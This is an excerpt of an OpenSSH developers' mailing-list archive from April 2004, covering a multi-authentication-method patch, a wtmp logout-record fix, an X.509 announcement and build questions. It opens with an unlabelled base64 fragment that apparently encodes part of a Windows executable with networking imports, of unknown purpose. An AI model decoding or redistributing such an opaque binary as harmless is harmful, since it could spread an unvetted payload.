AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA
AAAAAAAAAAABAAcEAABQAAAApKABAKgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBlAAAA
eAAAgAAAAAAAAAAAAAAAAAAAAQAHBAAAkAAAAFCtAQAUAAAAAAAAAAAAAACgcAEAKAAAACAA
AABAAAAAAQAYAAAAAACADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgMDAwMDAwMDAwMDAwMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////////////////////
/////////////////////////////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAICAgP//////////////////////////////////////////////////////////
/////////////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//
////////////////////////////////////////////////////////////////////////
/////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////
/////////////////////////////////8DAwMDAwMDAwMDAwMDAwMDAwP///////////8DA
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////////////
/////////////////////////////////////////////////////8DAwAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAICAgP///////////8DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AICAgP//////////////////////////////////////////////////////////////////
/////////////////////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/8DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP//////
/////8DAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////////////////////////////8DAwAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP//////////////////////////
/////////////////////////////8DAwAAAAP8AAAAAAP//////////////////////////
//////////////////////8AAAAAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA
wP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP//////
/////wAAAP8AAP///////////////////////////////////////////////////////8DA
wAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP8AAMDAwP////////8AAAAAAMDA
wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwP///////////8DAwAAAAAAAAP8AAP//
//8AAAAAAP8AAP////8AAAAAAP8AAAAAAICAgP///////wAAAP8AAP//////////////////
/////////////////////////////////////8DAwAAAAP8AAAAAAP///wAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP////////8AAAAAAMDAwMDAwP///////8DAwMDAwMDAwMDAwMDA
wMDAwMDAwP///////////8DAwAAAAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAMDAwP///wAAAP8AAP///////////////8DAwMDAwMDAwP///8DAwMDAwMDAwP//////
/////8DAwAAAAP8AAAAAAP///wAAAP8AAP////8AAAAAAP8AAP////8AAAAAAICAgP////8A
AAAAAMDAwMDAwP///////8DAwMDAwP///////////////8DAwP///////////8DAwAAAAAAA
AP8AAAAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAAAAAP///wAAAP8AAP//////////
/////8DAwMDAwMDAwP///////8DAwMDAwP///////////8DAwAAAAP8AAAAAAP8AAAAAAP8A
AP////8AAAAAAP8AAP////8AAAAAAP8AAAAAAP8AAAAAAMDAwMDAwP///////8DAwP//////
/////////////8DAwP///////////8DAwAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////8DAwMDAwP///////4CAgAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP8AAAAAAP//////////////////////////////////////////
//////8AAAAAAP///////////////8DAwMDAwMDAwMDAwICAgP///////////8DAwICAgAAA
AAAAAAAAAP8AAP///////////////////////////////////////////////wAAAP8AAP//
/////////////8DAwMDAwMDAwMDAwICAgP///////8DAwICAgAAAAAAAAAAAAP8AAAAAAP8A
AAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP//////////////////
/////////////4CAgP///8DAwICAgAAAAAAAAAAAAAAAAAAAAP8AAAAAAP8AAAAAAP8AAAAA
AP8AAAAAAP8AAAAAAP8AAAAAAP8AAAAAAP8AAP///////////////////////////////4CA
gMDAwICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////
/////////////////////////////////////////////////////4CAgICAgAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgP//////////////////////////
/////////////////////////////////////4CAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////+AAAA/gAAAP4AAAD+AAAA/gAAAP4A
AAD+AAAA/gAAAP4AAAD+AAAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAABwAAAA/+AAAf/gAAP/4AAH//////SH0BAAAA
AQABACAgAAABABgAqAwAAAEAAAAAAAAAAAAAAAAAKK4BAPCtAQAAAAAAAAAAAAAAAAA1rgEA
AK4BAAAAAAAAAAAAAAAAAEKuAQAIrgEAAAAAAAAAAAAAAAAAT64BABCuAQAAAAAAAAAAAAAA
AABargEAGK4BAAAAAAAAAAAAAAAAAGauAQAgrgEAAAAAAAAAAAAAAAAAAAAAAAAAAABwrgEA
fq4BAI6uAQAAAAAAnK4BAAAAAACqrgEAAAAAALyuAQAAAAAAyK4BAAAAAAADAACAAAAAAEtF
Uk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFBy
b2Nlc3MAAABSZWdDbG9zZUtleQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJpbnRmQQAAAElu
dGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

--36715774--



From Jefferson.Ogata at noaa.gov  Thu Apr  8 00:39:19 2004
From: Jefferson.Ogata at noaa.gov (Jefferson Ogata)
Date: Wed, 07 Apr 2004 10:39:19 -0400
Subject: Requiring multiple auth mechanisms
Message-ID: <40741297.2090804@noaa.gov>

I looked around for a while, but couldn't find any code for requiring multiple 
authentication mechanisms in openssh. So I wrote an implemention.

I thought at first I should change the PasswordAuthentication, 
PubkeyAuthentication, etc. keywords to allow no/yes/required. But there's some 
funky stuff in auth2.c with respect to keyboard interactive auth that would make 
this kind of gnarly, semantics-wise.

I also thought about providing a new keyword to specify a list of required 
authentication mechanisms. But then you have to make sure those mechanisms are 
also enabled, and it's easy to write conflicting configurations. In addition, if 
a list of required auth mechs is given, then enabling mechanisms that are not 
required is pointless, because they won't be sufficient.

So my final decision, for the sake of simplicity, was to add a 
"NumRequiredAuthMethods" keyword, which defaults to 1. If you set it to 2, the 
client must pass at least two of the enabled auth methods. I'm using the term 
"methods" here because I'm only counting general auth methods as defined in 
auth2.c's "authmethods" array, namely publickey, password, keyboard-interactive, 
and hostbased. So there may be multiple types of keyboard-interactive auth, but 
keyboard-interactive only counts as a single method.

So, for example, if you have PasswordAuthentication and PubkeyAuthentication 
enabled, and set NumRequiredAuthMethods to 2, you will have to pass both types. 
But PAMAuthenticationViaKbdInt and ChallengeResponseAuthentication are the same 
authentication method (keyboard-interactive), so if you want to require 2 
classes, you'll have to have at least one of the other methods enabled as well.

I don't know much about some of the supported authentication types, particularly 
pam, so I'm not totally sure my approach makes sense for everyone's needs. My 
particular need was to require both public key and S/KEY factors so that 
one-time passwords can be combined with a strong electronic authenticator. I 
don't trust my users not to end up trojaned with a keylogger, so I need OTP, but 
I also want a public key in case someone loses his S/KEY cheat sheet.

The attached patch is designed for Red Hat's openssh-3.1p1-14 SRPM (add as 
Patch14, use -p1 on patch line in %prep). It should work against openssh-3.8 
with slight tweaks (authmethods changed in auth2.c). If people need a patch 
against 3.8, I can build it; just ask.

I would really appreciate it if anyone with interest could vet this for stupid 
mistakes.

-- 
Jefferson Ogata <Jefferson.Ogata at noaa.gov>
NOAA Computer Incident Response Team (N-CIRT) <ncirt at noaa.gov>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: openssh-3.1p1-multipleauth.patch
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040407/64a39780/attachment.ksh 

From openssh at roumenpetrov.info  Thu Apr  8 03:27:04 2004
From: openssh at roumenpetrov.info (Roumen Petrov)
Date: Wed, 07 Apr 2004 20:27:04 +0300
Subject: Announce: X.509 certificates support in OpenSSH(version h-Validator)
Message-ID: <407439E8.4010800@roumenpetrov.info>

I'm pleased to announce that the version "h"(code-name Validator) of 
"X.509 certificates support in OpenSSH" is now available for immediate 
download at http://roumenpetrov.info/openssh.

Features:
* "x509v3-sign-rsa" and "x509v3-sign-dss" public key algorithms
* certificate verification
* certificate validation
  o CRL
  o OCSP (optional and experimental feature)
* "x509v3-sign-rsa" MD5 and SHA-1 signatures
* OpenSSH agent with certificates
* strong regresion tests
* detailed manual pages
* README.x509v3


Best regards,
Roumen Petrov




From scott.burch at camberwind.com  Thu Apr  8 03:53:53 2004
From: scott.burch at camberwind.com (Scott Omar Burch)
Date: Wed, 07 Apr 2004 12:53:53 -0500
Subject: Requiring multiple auth mechanisms
In-Reply-To: <40741297.2090804@noaa.gov>
References: <40741297.2090804@noaa.gov>
Message-ID: <40744031.8020107@camberwind.com>

Jeff,

You might also want to look at the code for auth selection that was 
written here:

http://sweb.cz/v_t_m/ (This individual also has written patches for 
securid that work very well).

-Scott

Jefferson Ogata wrote:
> I looked around for a while, but couldn't find any code for requiring 
> multiple authentication mechanisms in openssh. So I wrote an implemention.
> 
> I thought at first I should change the PasswordAuthentication, 
> PubkeyAuthentication, etc. keywords to allow no/yes/required. But 
> there's some funky stuff in auth2.c with respect to keyboard interactive 
> auth that would make this kind of gnarly, semantics-wise.
> 
> I also thought about providing a new keyword to specify a list of 
> required authentication mechanisms. But then you have to make sure those 
> mechanisms are also enabled, and it's easy to write conflicting 
> configurations. In addition, if a list of required auth mechs is given, 
> then enabling mechanisms that are not required is pointless, because 
> they won't be sufficient.
> 
> So my final decision, for the sake of simplicity, was to add a 
> "NumRequiredAuthMethods" keyword, which defaults to 1. If you set it to 
> 2, the client must pass at least two of the enabled auth methods. I'm 
> using the term "methods" here because I'm only counting general auth 
> methods as defined in auth2.c's "authmethods" array, namely publickey, 
> password, keyboard-interactive, and hostbased. So there may be multiple 
> types of keyboard-interactive auth, but keyboard-interactive only counts 
> as a single method.
> 
> So, for example, if you have PasswordAuthentication and 
> PubkeyAuthentication enabled, and set NumRequiredAuthMethods to 2, you 
> will have to pass both types. But PAMAuthenticationViaKbdInt and 
> ChallengeResponseAuthentication are the same authentication method 
> (keyboard-interactive), so if you want to require 2 classes, you'll have 
> to have at least one of the other methods enabled as well.
> 
> I don't know much about some of the supported authentication types, 
> particularly pam, so I'm not totally sure my approach makes sense for 
> everyone's needs. My particular need was to require both public key and 
> S/KEY factors so that one-time passwords can be combined with a strong 
> electronic authenticator. I don't trust my users not to end up trojaned 
> with a keylogger, so I need OTP, but I also want a public key in case 
> someone loses his S/KEY cheat sheet.
> 
> The attached patch is designed for Red Hat's openssh-3.1p1-14 SRPM (add 
> as Patch14, use -p1 on patch line in %prep). It should work against 
> openssh-3.8 with slight tweaks (authmethods changed in auth2.c). If 
> people need a patch against 3.8, I can build it; just ask.
> 
> I would really appreciate it if anyone with interest could vet this for 
> stupid mistakes.
> 
> 
> ------------------------------------------------------------------------
> 
> --- openssh-3.1p1/auth.h.multipleauth	Wed Apr  7 11:34:32 2004
> +++ openssh-3.1p1/auth.h	Wed Apr  7 11:34:15 2004
> @@ -51,6 +51,7 @@
>  	int		 valid;
>  	int		 attempt;
>  	int		 failures;
> +	int		 passed;
>  	char		*user;
>  	char		*service;
>  	struct passwd	*pw;
> --- openssh-3.1p1/auth2.c.multipleauth	Wed Apr  7 12:55:00 2004
> +++ openssh-3.1p1/auth2.c	Wed Apr  7 13:42:46 2004
> @@ -74,7 +74,7 @@
>  
>  /* helper */
>  static Authmethod *authmethod_lookup(const char *);
> -static char *authmethods_get(void);
> +static char *authmethods_get(int);
>  static int user_key_allowed(struct passwd *, Key *);
>  static int hostbased_key_allowed(struct passwd *, const char *, char *, Key *);
>  
> @@ -229,6 +229,7 @@
>  userauth_finish(Authctxt *authctxt, int authenticated, char *method)
>  {
>  	char *methods;
> +	int success = 0;
>  
>  	if (!authctxt->valid && authenticated)
>  		fatal("INTERNAL ERROR: authenticated invalid user %s",
> @@ -251,15 +252,22 @@
>  	if (authctxt->postponed)
>  		return;
>  
> -	/* XXX todo: check if multiple auth methods are needed */
> +	/* Check if enough auth methods have passed */
>  	if (authenticated == 1) {
> -		/* turn off userauth */
> -		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
> -		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
> -		packet_send();
> -		packet_write_wait();
> -		/* now we can break out */
> -		authctxt->success = 1;
> +		Authmethod *a;
> +		int passed;
> +		int k;
> +
> +		for (a = authmethods, k = 1, passed = 0; a->name != NULL; a++, k <<= 1) {
> +			if (strncmp (method, a->name, strlen (a->name)) == 0)
> +				authctxt->passed |= k;
> +			if (authctxt->passed & k)
> +				++passed;
> +		}
> +		if (passed < options.num_required_auth_methods) {
> +			success = 1;
> +			authenticated = 0;
> +		}
>  	} else {
>  		if (authctxt->failures++ > AUTH_FAIL_MAX) {
>  #ifdef WITH_AIXAUTHENTICATE
> @@ -269,10 +277,21 @@
>  #endif /* WITH_AIXAUTHENTICATE */
>  			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
>  		}
> -		methods = authmethods_get();
> +	}
> +
> +	if (authenticated == 1) {
> +		/* turn off userauth */
> +		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
> +		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
> +		packet_send();
> +		packet_write_wait();
> +		/* now we can break out */
> +		authctxt->success = 1;
> +	} else {
> +		methods = authmethods_get(authctxt->passed);
>  		packet_start(SSH2_MSG_USERAUTH_FAILURE);
>  		packet_put_cstring(methods);
> -		packet_put_char(0);	/* XXX partial success, unused */
> +		packet_put_char(success);
>  		packet_send();
>  		packet_write_wait();
>  		xfree(methods);
> @@ -599,16 +618,19 @@
>  #define	DELIM	","
>  
>  static char *
> -authmethods_get(void)
> +authmethods_get(int passed)
>  {
>  	Authmethod *method = NULL;
>  	Buffer b;
>  	char *list;
> +	int k;
>  
>  	buffer_init(&b);
> -	for (method = authmethods; method->name != NULL; method++) {
> +	for (method = authmethods, k = 1; method->name != NULL; method++, k <<= 1) {
>  		if (strcmp(method->name, "none") == 0)
>  			continue;
> +		if (passed & k)
> +			continue;
>  		if (method->enabled != NULL && *(method->enabled) != 0) {
>  			if (buffer_len(&b) > 0)
>  				buffer_append(&b, ",", 1);
> --- openssh-3.1p1/servconf.h.multipleauth	Tue Mar  5 01:53:05 2002
> +++ openssh-3.1p1/servconf.h	Wed Apr  7 12:53:38 2004
> @@ -95,6 +95,8 @@
>  						 * authentication. */
>  	int     kbd_interactive_authentication;	/* If true, permit */
>  	int     challenge_response_authentication;
> +	int     num_required_auth_methods;	/* Minimum number of auth methods
> +						 * that must succeed. */
>  	int     permit_empty_passwd;	/* If false, do not permit empty
>  					 * passwords. */
>  	int     use_login;	/* If true, login(1) is used */
> --- openssh-3.1p1/servconf.c.multipleauth	Tue Feb  5 01:26:35 2002
> +++ openssh-3.1p1/servconf.c	Wed Apr  7 11:42:21 2004
> @@ -89,6 +89,7 @@
>  	options->password_authentication = -1;
>  	options->kbd_interactive_authentication = -1;
>  	options->challenge_response_authentication = -1;
> +	options->num_required_auth_methods = -1;
>  	options->permit_empty_passwd = -1;
>  	options->use_login = -1;
>  	options->allow_tcp_forwarding = -1;
> @@ -206,6 +207,8 @@
>  		options->kbd_interactive_authentication = 0;
>  	if (options->challenge_response_authentication == -1)
>  		options->challenge_response_authentication = 1;
> +	if (options->num_required_auth_methods == -1)
> +		options->num_required_auth_methods = 1;
>  	if (options->permit_empty_passwd == -1)
>  		options->permit_empty_passwd = 0;
>  	if (options->use_login == -1)
> @@ -255,6 +258,7 @@
>  #ifdef AFS
>  	sAFSTokenPassing,
>  #endif
> +	sNumRequiredAuthMethods,
>  	sChallengeResponseAuthentication,
>  	sPasswordAuthentication, sKbdInteractiveAuthentication, sListenAddress,
>  	sPrintMotd, sPrintLastLog, sIgnoreRhosts,
> @@ -310,6 +314,7 @@
>  	{ "kbdinteractiveauthentication", sKbdInteractiveAuthentication },
>  	{ "challengeresponseauthentication", sChallengeResponseAuthentication },
>  	{ "skeyauthentication", sChallengeResponseAuthentication }, /* alias */
> +	{ "numrequiredauthmethods", sNumRequiredAuthMethods },
>  	{ "checkmail", sDeprecated },
>  	{ "listenaddress", sListenAddress },
>  	{ "printmotd", sPrintMotd },
> @@ -644,6 +649,10 @@
>  		intptr = &options->challenge_response_authentication;
>  		goto parse_flag;
>  
> +	case sNumRequiredAuthMethods:
> +		intptr = &options->num_required_auth_methods;
> +		goto parse_int;
> +
>  	case sPrintMotd:
>  		intptr = &options->print_motd;
>  		goto parse_flag;
> --- openssh-3.1p1/sshd.8.multipleauth	Tue Mar  5 01:38:59 2002
> +++ openssh-3.1p1/sshd.8	Wed Apr  7 12:37:34 2004
> @@ -680,6 +680,12 @@
>  are refused if the number of unauthenticated connections reaches
>  .Dq full
>  (60).
> +.It Cm NumRequiredAuthMethods
> +Specifies how many authentication methods must succeed during ssh2
> +authentication. There are four potential methods: publickey, password,
> +keyboard-interactive, and hostbased. Setting this value to 2 or higher forces
> +the client to successfully authenticate in multiple ways, for example, using
> +both S/Key and publickey.
>  .It Cm PAMAuthenticationViaKbdInt
>  Specifies whether PAM challenge response authentication is allowed. This
>  allows the use of most PAM challenge response authentication modules, but 
> --- openssh-3.1p1/sshd_config.multipleauth	Wed Apr  7 00:20:43 2004
> +++ openssh-3.1p1/sshd_config	Wed Apr  7 12:39:23 2004
> @@ -60,6 +60,10 @@
>  # Change to no to disable s/key passwords
>  #ChallengeResponseAuthentication yes
>  
> +# Change to require multiple authentication types, e.g. password and
> +# publickey.
> +#NumRequiredAuthMethods 1
> +
>  # Kerberos options
>  # KerberosAuthentication automatically enabled if keyfile exists
>  #KerberosAuthentication yes
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev



From jpe at eisenmenger.org  Thu Apr  8 10:20:55 2004
From: jpe at eisenmenger.org (John P. Eisenmenger)
Date: Wed, 7 Apr 2004 19:20:55 -0500 (CDT)
Subject: patch for "gone - no logout" output from last(1)
Message-ID: <Pine.LNX.4.58.0404071903500.12030@john.eisenmenger.org>

Greetings,

After upgrading one of my systems to the linux 2.6.4 kernel, it started 
having problems recording the logout entries in the wtmp file.  I traced 
this to a bug in loginrec.c, where a variable (line) is declared as an 
array of 8 characters.  This length is substantially shorter than the 16 
character array size of ut_line, so openssh effectively truncates the 
pseudo-tty name when the pseudo-tty number exceeds 999.  With the new 
linux kernels, the pseudo-ttys are not reused as in the past, so a busy 
system can reach the magic number of 1000 pretty quickly...

Here's an example of what I see on my system via the last command, so you 
can get an idea.  The top 2 entries were after I applied the patch below.
Prior to its application, every login with a four-digit pts/ number that
had completed was marked with "gone - no logout".

  $ last -20 | grep pts/
  jpeisen  pts/2057     some.host.com    Wed Apr  7 20:00 - 20:00  (00:00)
  jpeisen  pts/2052     localhost        Wed Apr  7 19:31 - 19:31  (00:00)
  jpeisen  pts/2051     localhost        Wed Apr  7 19:26    gone - no logout
  jpeisen  pts/2050     some.host.com    Wed Apr  7 19:26   still logged in
  jpeisen  pts/2046     some.host.com    Wed Apr  7 19:07   still logged in
  jpeisen  pts/2035     some.host.com    Wed Apr  7 17:27    gone - no logout
  jpeisen  pts/2030     some.host.com    Wed Apr  7 16:46   still logged in
  mgosk    pts/2021     other.host.com   Wed Apr  7 15:28   still logged in
  mgosk    pts/2019     other.host.com   Wed Apr  7 15:14    gone - no logout
  jmoras   pts/2013     other.host.com   Wed Apr  7 14:33   still logged in

Below is my version of the patch.  Since I'm not on this list, there may
be other, better versions that have already found their way here.  If so,
then I apologize for wasting your time.  I did try to be good and wrap the
change in an appropriate #ifdef, and the change is very simple - just using
UT_LINESIZE for the length of the array if it is defined.

-John

-- 
John P. Eisenmenger
jpe at eisenmenger.org

*** openssh-3.7.1p2/loginrec.c.orig	Sun Jul  6 01:20:46 2003
--- openssh-3.7.1p2/loginrec.c	Wed Apr  7 19:35:43 2004
***************
*** 1349,1355 ****
--- 1349,1359 ----
  syslogin_perform_logout(struct logininfo *li)
  {
  # ifdef HAVE_LOGOUT
+ # ifdef UT_LINESIZE
+ 	char line[UT_LINESIZE];
+ # else
  	char line[8];
+ # endif
  
  	(void)line_stripname(line, li->line, sizeof(line));
  



From dtucker at zip.com.au  Thu Apr  8 11:10:21 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 08 Apr 2004 11:10:21 +1000
Subject: patch for "gone - no logout" output from last(1)
In-Reply-To: <Pine.LNX.4.58.0404071903500.12030@john.eisenmenger.org>
References: <Pine.LNX.4.58.0404071903500.12030@john.eisenmenger.org>
Message-ID: <4074A67D.9020107@zip.com.au>

John P. Eisenmenger wrote:

> After upgrading one of my systems to the linux 2.6.4 kernel, it started 
> having problems recording the logout entries in the wtmp file.  I traced 
> this to a bug in loginrec.c, where a variable (line) is declared as an 
> array of 8 characters.  This length is substantially shorter than the 16 
> character array size of ut_line, so openssh effectively truncates the 
> pseudo-tty name when the pseudo-tty number exceeds 999.  With the new
> linux kernels, the pseudo-ttys are not reused as in the past

Is that deliberate?  Sounds like a kernel bug...

[snip]
> Below is my version of the patch.

Seems reasonable, applied.  Thanks.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From dtucker at zip.com.au  Thu Apr  8 11:26:15 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 08 Apr 2004 11:26:15 +1000
Subject: patch for "gone - no logout" output from last(1)
In-Reply-To: <4074A67D.9020107@zip.com.au>
References: <Pine.LNX.4.58.0404071903500.12030@john.eisenmenger.org>
	<4074A67D.9020107@zip.com.au>
Message-ID: <4074AA37.3010606@zip.com.au>

Darren Tucker wrote:

> John P. Eisenmenger wrote:
>> Below is my version of the patch.
> 
> Seems reasonable, applied.  Thanks.

Hmm, I wonder if it would be cleaner to have this in defines.h:
#ifndef UT_LINESIZE
# define UT_LINESIZE 8
#endif

Then just have this in loginrec.c:
char line[UT_LINESIZE];

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From tim at multitalents.net  Thu Apr  8 16:03:29 2004
From: tim at multitalents.net (Tim Rice)
Date: Wed, 7 Apr 2004 23:03:29 -0700 (PDT)
Subject: patch for "gone - no logout" output from last(1)
In-Reply-To: <4074AA37.3010606@zip.com.au>
References: <Pine.LNX.4.58.0404071903500.12030@john.eisenmenger.org>
	<4074A67D.9020107@zip.com.au> <4074AA37.3010606@zip.com.au>
Message-ID: <Pine.UW2.4.59.99.0404072302240.14969@uw713.int.multitalents.net>

On Thu, 8 Apr 2004, Darren Tucker wrote:

> Darren Tucker wrote:
> 
> > John P. Eisenmenger wrote:
> > > Below is my version of the patch.
> > 
> > Seems reasonable, applied.  Thanks.
> 
> Hmm, I wonder if it would be cleaner to have this in defines.h:
> #ifndef UT_LINESIZE
> # define UT_LINESIZE 8
> #endif
> 
> Then just have this in loginrec.c:
> char line[UT_LINESIZE];
 
I like this better.
 

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From openssh at roumenpetrov.info  Thu Apr  8 03:27:04 2004
From: openssh at roumenpetrov.info (Roumen Petrov)
Date: Wed, 07 Apr 2004 20:27:04 +0300
Subject: Announce: X.509 certificates support in OpenSSH(version h-Validator)
Message-ID: <407439E8.4010800@roumenpetrov.info>

I'm pleased to announce that the version "h"(code-name Validator) of 
"X.509 certificates support in OpenSSH" is now available for immediate 
download at http://roumenpetrov.info/openssh.

Features:
* "x509v3-sign-rsa" and "x509v3-sign-dss" public key algorithms
* certificate verification
* certificate validation
  o CRL
  o OCSP (optional and experimental feature)
* "x509v3-sign-rsa" MD5 and SHA-1 signatures
* OpenSSH agent with certificates
* strong regresion tests
* detailed manual pages
* README.x509v3


Best regards,
Roumen Petrov





From michael.weber at baesystems.com  Fri Apr  9 02:24:19 2004
From: michael.weber at baesystems.com (Weber, Michael J. (US SSA))
Date: Thu, 8 Apr 2004 12:24:19 -0400
Subject: Building 3.7-p1 on i686-pc-linux-gnu for execution on
	i386-pc-linux-gnu
Message-ID: <DDE4FF21A5EE6C47A3A88C2FA0740577AE9F4D@blums0005.na.baesystems.com>

I have a small single-board computer (SBC) I'd like to run OpenSSH on,
but when I build the binaries on my development station and copy them
over, I get "Illegal Instruction" errors when running them (sshd,
ssh-keygen, ssh-add, ssh-agent, ssh-keyscan).

I have successfully built zlib 1.2.1 and tested it with minigzip on the
SBC, so I don't think the problem is with zlib.

I have successfully built OpenSSL 0.9.7d and run the speed test on all
of the ciphers and hashes on the SBC, so I don't think the problem is
with OpenSSL.

I have successfully built OpenSSH 3.7-p1 on the development machine, and
it runs there, but it will not run on the SBC, which has a
386-compatible chip (AMD Elan 520.) I have tried putting -march=i386 and
-mcpu=i386 on the command line before running configure, but it doesn't
work (and in fact, configure appears to ignore them, as they never make
it in to the makefiles). I've tried manually editing the makefiles in
the root and in openbsd-compat to include the correct compiler flags,
but that doesn't help either. I even replaced config.guess to output
"i386-pc-linux-gnu" instead of "i686-pc-linux-gnu." I can't find the
source of the mis-compilation. Any ideas?? I'm stuck!

glibc 2.2.5, gcc 2.96, build kernel 2.4.18, SBC kernel 2.4.23.

Thanks,
Mike
-----------------------------
Mike Weber * 703-668-4516
Network Engineer, BAE Systems 



From cruff at ucar.edu  Fri Apr  9 02:27:45 2004
From: cruff at ucar.edu (Craig Ruff)
Date: Thu, 08 Apr 2004 10:27:45 -0600
Subject: openssh-3.8p1 fails to set TZ environment variable bug
Message-ID: <40757D81.6020307@ucar.edu>

Found on while running on IRIX 6.5.22f, sshd from openssh-3.8p1 nukes 
its envrionment in main(), causing sshd to loose track of the TZ 
environment variable passed to it by the system.  This means that inside 
do_setup_env(), the call to getenv("TZ") will never succeed, despite the 
fact that this variable should have a value.



